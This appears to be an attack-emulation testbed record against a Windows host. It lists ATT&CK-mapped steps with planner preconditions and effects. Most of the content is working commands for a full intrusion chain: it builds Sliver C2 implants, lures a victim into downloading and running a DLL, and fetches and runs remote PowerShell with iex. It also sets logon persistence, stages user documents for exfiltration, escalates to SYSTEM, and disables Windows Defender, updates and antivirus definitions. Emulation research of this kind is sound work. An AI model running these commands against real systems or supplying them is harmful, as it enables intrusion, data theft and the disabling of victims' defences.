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Testbed Information

Target Machine

  • Machine ID: host11
    • OS: windows
    • CVE: []

Attack Steps

uuid name id source supported_platforms tactics technique description execution arguments preconditions effects
bb2176c4-855e-4b52-ab03-5fe2e58d8129 Build DLL Sliver implant ['T1071.001'] Manual ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] The command is used in the Sliver C2 (Command and Control) framework to generate a payload designed for remote access to a target machine.
{'executor': 'Sliver Console', 'command': 'sliver > generate --mtls #{LHOST}:#{LPORT} --os windows --arch 64bit --format shared --save #{SAVE_PATH}\nsliver > mtls --lport #{LPORT}\n'} {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the generated payload', 'type': None}} ['(os_windows ?target - host)', '(unallocated ?p - payload)', '(unallocated ?file - file)'] ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?file - file)', '(dll_file ?file - file)', '(file_prepared_local ?file - file)', '(unallocated ?p - payload)', '(unallocated ?file - file)']
7480189e-1a4b-45f5-b225-c102915f7262 Simulate the victim download a file on its machine ['T1566.002'] Manual ['windows'] ['Initial Access'] ['Phishing: Spearphishing Link'] This step simulates the victim accidentally downloads a malicious file by clicking a link. {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On attacker's machine)\npython -m http.server\n\n(On victim's machine)\n1. Open #{LHOST}:#{LPORT} in the browser\n2. Navigate to the path of the file on the attacker's machine\n3. Download the file to #{PATH}\n"} {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded payload', 'type': None}} ['(file_prepared_local ?file - file)'] ['(file_exists ?path - path ?file - file ?t - host)']
5b852063-ca39-4600-b246-024897721010 Simulate the victim execute a DLL file on its machine ['T1204.002'] Manual ['windows'] ['Execution'] ['User Execution: Malicious File'] This step simulates the victim executes a DLL file on its machine. {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On victim's machine, use PowerShell or Command Prompt)\nregsvr32 #{DLL_PATH}\n"} {'DLL_PATH': {'default': None, 'description': 'Saved path of the DLL file', 'type': None}} ['(file_exists ?path - path ?file - file ?t - host)', '(dll_file ?file - file)'] ['(file_executed ?file - file ?t - host)']
1f401bbe-de24-41d2-8e34-d026e25bfb94 Execute a Sliver Implant Payload ['T1071.001'] Sliver ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] Executing a Sliver implant payload will establish a Sliver session.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?t - host)', '(file_payload ?p - payload ?f - file)', '(file_executed ?f - file ?t - host)', '(unallocated ?s - executor)'] ['(sliver_session ?s - executor ?t - host)', '~(unallocated ?s - executor)', {'operator': 'When', 'params': {'condition': '(file_executed_as_root ?f - file ?t - host)', 'effect': '(elevated_executor ?s - executor)'}}]
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
2d5a61f5-0447-4be4-944a-1f8530ed6574 Remote System Discovery - arp ['T1018'] ART ['windows'] ['Discovery'] ['Remote System Discovery'] Identify remote systems via arp.

Upon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout.
{'executor': 'Command Prompt Executor', 'command': 'arp -a\n'} None ['(command_prompt ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(arp_cache_info_known ?target - host)']
7bfba376-cebc-4094-b1e6-5103b2e83c4e Execute PowerShell Command ['T1059.001'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: PowerShell\n'] The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. {'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
5c16ceb4-ba3a-43d7-b848-a13c1f216d95 WinPwn - PowerSharpPack - Seatbelt ['T1082'] ART ['windows'] ['Discovery'] ['System Information Discovery'] PowerSharpPack - Seatbelt technique via function of WinPwn.

[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
{'executor': 'Powershell Executor', 'command': 'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1\')\nInvoke-Seatbelt -Command "-group=all"'} None ['(powershell ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(system_time_info_known ?target - host)']
1a9c0b5e-9a8b-2d3c-5f1e-4a7cb6d42e8f Host Availability Check ['T1018'] Sliver ['windows', 'linux'] ['Discovery'] ['Remote System Discovery'] The ping command tests network connectivity to the target host. {'executor': 'Sliver Executor', 'command': 'ping (#{SessionID})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} [{'operator': 'or', 'operands': ['(os_windows ?target - host)', '(os_linux ?target - host)']}, '(sliver_session ?executorID - executor ?target - host)'] ['(host_connectivity_verified_info_known ?target - host)']
0e67b73a-9927-43e1-8f64-04d38f1db57d Build the executable file of a Sliver implant (for Windows) ['T1071.001'] Manual ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] The command is used in the Sliver C2 (Command and Control) framework to generate a payload designed for remote access to a target machine.
{'executor': 'Sliver Console', 'command': 'sliver > generate --mtls #{LHOST}:#{LPORT} --os windows --arch 64bit --format exe --save #{SAVE_PATH}\nsliver > mtls --lport #{LPORT}\n'} {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the generated payload', 'type': None}} ['(os_windows ?target - host)', '(unallocated ?p - payload)', '(unallocated ?file - file)'] ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?file - file)', '(file_prepared_local ?file - file)', '(exe_file ?file - file)', '(unallocated ?p - payload)', '(unallocated ?file - file)']
7480189e-1a4b-45f5-b225-c102915f7262 Simulate the victim download a file on its machine ['T1566.002'] Manual ['windows'] ['Initial Access'] ['Phishing: Spearphishing Link'] This step simulates the victim accidentally downloads a malicious file by clicking a link. {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On attacker's machine)\npython -m http.server\n\n(On victim's machine)\n1. Open #{LHOST}:#{LPORT} in the browser\n2. Navigate to the path of the file on the attacker's machine\n3. Download the file to #{PATH}\n"} {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded payload', 'type': None}} ['(file_prepared_local ?file - file)'] ['(file_exists ?path - path ?file - file ?t - host)']
bf9f9d65-ee4d-4c3e-a843-777d04f19c38 Winlogon Shell Key Persistence - PowerShell ['T1547.004'] ART ['windows'] ['Persistence', 'Privilege Escalation'] ['Boot or Logon Autostart Execution: Winlogon Helper DLL'] PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
{'executor': 'Powershell Executor', 'command': 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force\n'} {'binary_to_execute': {'description': 'Path of binary to execute', 'type': 'path', 'default': 'C:\Windows\System32\cmd.exe'}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(file_exists ?binary_to_execute - path ?file - file ?target - host)', '(exe_file ?file - file)'] ['(file_execution_at_startup ?file - file ?target - host)']
f7f31777-1bbf-4ddc-b7a1-af9f46a5299b Obtain a persistent Sliver Executor [None] Manual ['windows', 'linux', 'macos'] ['Persistence'] [None] Obtain the persistency of Sliver Executor via scheduled payload file execution.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?f - file)', {'operator': 'or', 'operands': ['(file_execution_at_time ?f - file ?target - host)', '(file_execution_at_startup ?f - file ?target - host)']}, '(unallocated ?s - executor)'] ['(persistent_sliver_session ?s - executor ?target - host)', '~(unallocated ?s - executor)']
2e8f1a9c-0b5e-4a7c-b6d4-9a8b2d3c5f1e Create Directory ['T1106'] Sliver ['windows', 'linux'] ['Persistence'] ['File System Permissions Modification'] The mkdir command creates a new directory on the target system. {'executor': 'Sliver Executor', 'command': 'mkdir (#{remote_path},#{SessionID})'} {'remote_path': {'description': 'Full path of the directory to create'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} [{'operator': 'or', 'operands': ['(os_windows ?target - host)', '(os_linux ?target - host)']}, '(sliver_session ?executorID - executor ?target - host)'] ['(dir_exists ?path - path ?dir - dir ?target - host)']
a57fbe4b-3440-452a-88a7-943531ac872a Zip a Folder with PowerShell for Staging in Temp ['T1074.001'] ART ['windows'] ['Collection'] ['Data Staged: Local Data Staging'] Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
{'executor': 'Powershell Executor', 'command': 'Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force\n'} {'output_file': {'description': 'Location to save zipped file or folder', 'type': 'path', 'default': None}, 'input_file': {'description': 'Location of file or folder to zip', 'type': 'path', 'default': None}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(dir_exists ?input_file - path ?dir - dir ?target - host)'] ['(dir_data_saved ?dir - dir ?file - file)', '(file_exists ?output_file - path ?file - file ?target - host)', '(zip_file ?file - file)']
b8cbd2a9-6967-4114-b2b5-162098f74a89 Take Screenshot ['T1113'] Sliver ['windows', 'linux', 'macos'] ['Collection'] ['Screen Capture'] The screenshot() function takes a screenshot of the remote system with screenshot data in PNG format. {'executor': 'Sliver Executor', 'command': 'screenshot(#{SessionID})'} {'SessionID': {'default': None, 'description': 'The session ID of the active Sliver connection.', 'type': None}} [{'operator': 'or', 'operands': ['(os_windows ?t - host)', '(os_linux ?t - host)', '(os_macos ?t - host)']}, '(sliver_session ?s - executor ?t - host)'] ['(screenshot_data_saved ?file - file ?t - host)', '(file_exists ?path - path ?file - file ?t - host)']
d3d9af44-b8ad-4375-8b0a-4bff4b7e419c Search files of interest and save them to a single zip file (Windows) ['T1005'] ART ['windows'] ['Collection'] ['Data from Local System'] This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
{'executor': 'Powershell Executor', 'command': '$startingDirectory = "C:"\n$outputZip = "#{output_zip_folder_path}"\n$fileExtensionsString = ".doc, .docx, .txt" \n$fileExtensions = $fileExtensionsString -split ", "\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force Out-Null\n\nFunction Search-Files {\n param (\n [string]$directory\n )\n $files = Get-ChildItem -Path $directory -File -Recurse Where-Object {\n $fileExtensions -contains $_.Extension.ToLower()\n }\n return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n $foundFilePaths = $foundFiles.FullName\n Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"\n\n Write-Host "Zip file created: $outputZip\data.zip"\n } else {\n Write-Host "No files found with the specified extensions."\n }\n'} {'output_zip_folder_path': {'description': 'Path to directory for saving the generated zip file', 'type': 'Path', 'default': 'PathToAtomicsFolder\..\ExternalPayloads\T1005'}}
5a1d2b9f-4e7f-8a4d-3f7a-6c2e5e9f9f7c Privilege Escalation ['T1134'] Sliver ['windows'] ['Privilege Escalation'] ['Access Token Manipulation'] The get_system command attempts to gain SYSTEM-level privileges. {'executor': 'Sliver Executor', 'command': 'get_system (#{hosting_process},#{config},#{SessionID})'} {'hosting_process': {'description': 'Target process ID or name for privilege escalation'}, 'config': {'description': 'Configuration options for escalation method', 'default': 'Service'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?target - host)', '(sliver_session ?executorID - executor ?target - host)'] ['(elevated_executor ?executorID - executor)']
7bfba376-cebc-4094-b1e6-5103b2e83c4e Execute PowerShell Command ['T1059.001'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: PowerShell\n'] The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. {'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45 Tamper with Windows Defender Registry ['T1562.001'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Disable or Modify Tools'] Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
{'executor': 'Elevated Powershell Executor', 'command': 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1\n'} None ['(powershell ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(windows_defender_disabled ?target - host)']
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
01b20ca8-c7a3-4d86-af59-059f15ed5474 Disable Windows OS Auto Update ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion.
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(auto_update_disabled ?target - host)']
003f466a-6010-4b15-803a-cbb478a314d7 Disable Windows Toast Notifications ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(toast_notification_disabled ?target - host)']
2a78362e-b79a-4482-8e24-be397bce4d85 Safe Mode Boot ['T1562.009'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Safe Mode Boot'] Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot {'executor': 'Elevated Command Prompt Executor', 'command': 'bcdedit /set safeboot network'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(endpoint_defense_disabled ?target - host)']
6b8df440-51ec-4d53-bf83-899591c9b5d7 Tamper with Windows Defender ATP PowerShell ['T1562.001'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Disable or Modify Tools'] Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
{'executor': 'Elevated Powershell Executor', 'command': 'Set-MpPreference -DisableRealtimeMonitoring 1\nSet-MpPreference -DisableBehaviorMonitoring 1\nSet-MpPreference -DisableScriptScanning 1\nSet-MpPreference -DisableBlockAtFirstSeen 1\n'} None ['(powershell ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(virus_and_threat_protection_disabled ?target - host)']
3d47daaa-2f56-43e0-94cc-caf5d8d52a68 Remove Windows Defender Definition Files ['T1562.001'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Disable or Modify Tools'] Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
{'executor': 'Elevated Command Prompt Executor', 'command': '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(anti_malware_disabled ?target - host)']